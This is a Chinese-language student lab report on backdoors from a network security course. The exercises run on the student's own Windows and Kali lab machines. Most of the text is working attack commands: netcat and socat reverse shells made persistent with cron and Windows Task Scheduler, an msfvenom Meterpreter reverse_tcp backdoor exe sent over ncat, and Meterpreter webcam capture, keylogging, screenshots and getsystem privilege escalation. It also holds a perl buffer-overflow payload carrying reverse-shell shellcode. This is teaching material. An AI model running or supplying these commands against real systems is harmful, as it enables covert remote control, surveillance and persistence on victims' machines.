一、实验内容

1.使用netcat获取主机操作Shell,cron启动

Windows获得Linux Shell

在Windows下使用ipconfig查看本机IP

win+r 输入cmd,打开监听 nc -l -p 1314

在kali中反弹连接Windows,nc 172.16.214.132 -e /bin/sh,使用-e选项执行shell程序

Windows成功获得kali的shell,利用lswhoami指令查看相关信息

Linux获得Windows Shell

在kali中使用ifconfig查看IP

打开监听nc -l -p 1314

在Windows中反弹连接kali,nc -e cmd.exe 192.168.121.133 1314

kali成功获得Windows的命令提示,可运行指令,如dir,ipconfig


使用nc传输数据
Windows下监听1314端口,nc -l -p 1314

kali反弹连接到Windows的1314端口,nc 172.16.214.132 1314

连接建立成功,双方可以相互传输数据

Meterpreter

  • 后门就是一个程序。

  • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的

     基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
    
  • 典型的平台就包括有:

intersect
Metaspolit的msfvenom指令
Veil-evasion
在下面的任务三中我们就用到了Metaspolit的msfvenom指令
  • 参数说明
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
>输出到哪个文件

二、实验内容

任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

  • 在Windows系统下,监听1314端口;
  • 在Kali环境下,用crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);
  • 在最后一行添加
16 * * * * /bin/netcat 192.168.31.58  1314 -e   /bin/sh

,意思是在每个小时的第16分钟反向连接Windows主机的1314端口。

任务二:使用socat获取主机操作Shell, 任务计划启动
socat:

  • socat是ncat的增强版,它使用的格式是socat [options]

    ,其中两个address是必选项,而options是可选项。

  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

打开“计算机管理”, 在“任务计划程序”中“创建任务”
填写任务名—>新建一个触发器

在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:1314 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1314,同时把cmd.exe的stderr重定向到stdout上:
在Kali环境下输入指令socat - tcp:192.168.43.220:1314,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的1314端口,此时可以发现已经成功获得了一个cmd shell

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

生成20181314_backdoor.exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.121.133 LPORT=1314 -f exe > 20181314_backdoor.exe

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口
-f 生成文件的类型
输出到哪个文件

在Windows下执行ncat -l 1314 > 20181314_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat -lv 1314 > 20181314_backdoor.exe指令,通过-lv选项看到当前的连接状态。

在Linux中执行nc 192.168.43.220 1314 < 20181314_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP。

传送接收文件成功,如下图所示

MSF打开监听进程

输入msfconsole后进行如下操作:

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

  • set LHOST 192.168.121.133,这里用的是LinuxIP,和生成后门程序时指定的IP相同

  • set LPORT 1314,同样要使用相同的端口

设置完成后,开始监听

  • 运行Windows下的后门程序

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell


任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用webcam_snap指令可以使用摄像头进行拍照
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
  • 使用screenshot指令可以进行截屏,效果如下:
  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权

任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在官网上下载下述文件

Linux/x64 - Reverse (127.1.1.1:4444/TCP) Shell (/bin/sh) Shellcode (123 Bytes)

  • 之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

  • 使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode
perl -e 'print "A" x 32;print"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode
  • 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
  • 再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
  • 之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址


0xffffd1ec+4=0xffffd3f0

  • 修改并生成input文件
perl -e 'print "A" x 32;print"\xf0\xd1\xff\xff\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode

  • 然后在另一个终端中打开msfconsole,并打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444          //这两个都是根据你的shellcode来的
show options
exploit
  • 在原终端输入(cat input;cat) | ./pwn1运行pwn1并回车,另一边就可以得到shell了
  • 这时在msf控制台可以看到已经成功调取了shell

实验成功

实验中遇到的问题

win10系统升级管理员权限时失败了,百度也查找不到原因,希望老师能给与解决。

实验收获与感想

在做任务五的时候做了三次,总是不显示[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47146) at 2021-03-25 20:33:33 +0800这一行,做到第三遍的时候发现竟然是在另一个终端少敲了一次回车程序没有运行。上网查问同学折腾半小时无意间成功了。

总体来说实验还是十分成功的,也让我十分后怕,一个后门程序竟然有这么多的功能,包括麦克风摄像头都可以被调用。

问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    答:下载的软件捆绑着恶意软件,软件安装后后门程序同时进入系统。

  • 例举你知道的后门如何启动起来(win及linux)的方式?
    答:Windows:设置为开机自启动
    Linux:对正常软件注入shellcode

  • Meterpreter有哪些给你映像深刻的功能?
    答:在植入后门后,可以控制主机的执行指令,包括录音、录像、截图、键盘输入记录等。

  • 如何发现自己有系统有没有被安装后门?
    答:安装杀毒安全软件,定期查杀。

网络对抗技术-Exp2-后门原理与实践 20181314相关推荐

  1. 20155317王新玮《网络对抗》Exp2 后门原理与实践

    20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...

  2. 20145209刘一阳《网络对抗》Exp2 后门原理与实践

    20145209刘一阳<网络对抗>Exp2 后门原理与实践 基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? •在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中: ...

  3. 20145235李涛《网络对抗》Exp2 后门原理与实践

    Windows获得Linux Shell Linux获得windows shell 实验内容 使用netcat获取主机操作shell,cron启动 使用socat获取主机shell,任务计划启动 使用 ...

  4. 20154319 《网络对抗技术》后门原理与实践

    一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分) 任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分) 任务三:使用MSF meterpr ...

  5. 2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任 ...

  6. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp2 后门原理与实践 目录 0. 基础知识 1. 实验内容 1.0 常用后门工具 1.1 使用netcat获取主机操作S ...

  7. 2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp2 后门原理与实践 目录 实验要求 实验内容 实验环境 预备知识 1.后门概念 2.常用后门工具 实验步骤 1 用nc或net ...

  8. 2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165212<网络对抗技术>Exp2 后门原理与实践 1.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作 ...

  9. 2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践 后门的基本概念及基础问题回答 常用后门工具 netcat Win获得Linux Shell Linux获得Win Sh ...

最新文章

  1. c语言hellowwo所占字节数,哪个懂C语言?帮忙做~个题,跪求
  2. 图片验证码的JAVA工具类
  3. c++ 使用nacos_Nacos配置的多环境管理
  4. 大学计算机基础实训excel,大学计算机基础实训指导书
  5. 前端传递多个数组以及其他参数,springboot后台如何接收
  6. php添加自定义头部关键字,WordPress主题制作中自定义头部的相关PHP函数解析
  7. 浅谈linux中shell变量$#,$@,$0,$1,$2,$?的含义解释
  8. 第二章.JSP/Servlet及相关技术详解
  9. python平稳性检验程序_用Python检验时间序列的平稳性
  10. 在UE4中完美导入MMD的动作,表情;基本导入镜头,材质---最详细教程
  11. 如何提高mysql插入速度_mysql技巧:提高插入数据(添加记录)的速度
  12. 从差等生到研究员:一位农村孩子的奋斗独白 | 治学大家谈
  13. php做宿舍门禁管理系统项目首选公司,宿舍人脸识别门禁系统,校园宿舍管理系统...
  14. 抓取猫眼电影实时数据
  15. 多个表格汇总怎么做?
  16. 利用OBS定时录制功能下载任何视频
  17. 2005年通信热点载录
  18. pdffactory 打印字体_使用pdfFactory虚拟打印机为打印PDF文件添加文字批注
  19. PrinTao CANON Home Studio Edition Mac(佳能打印软件) v8.0r12特别版
  20. 300 款经典 FC 游戏直击童年回忆杀!

热门文章

  1. bash shell中expr命令下几种的使用
  2. 方差、协方差、标准差、均方差、均方根值、均方误差、均方根误差对比分析
  3. 与天斗,与地斗,与人斗,其乐无穷!!!
  4. c语言struct结构体强制类型转换
  5. 总结HTTP协议和JSON相关的知识点
  6. xt6使用技巧_xt6用车一个月感受
  7. usnews 计算机 2017,2017年USNEWS美国研究生计算机工程专业排名
  8. 用php建站_利用PHP建站心得
  9. Android Palette
  10. 2015届求职经历(转)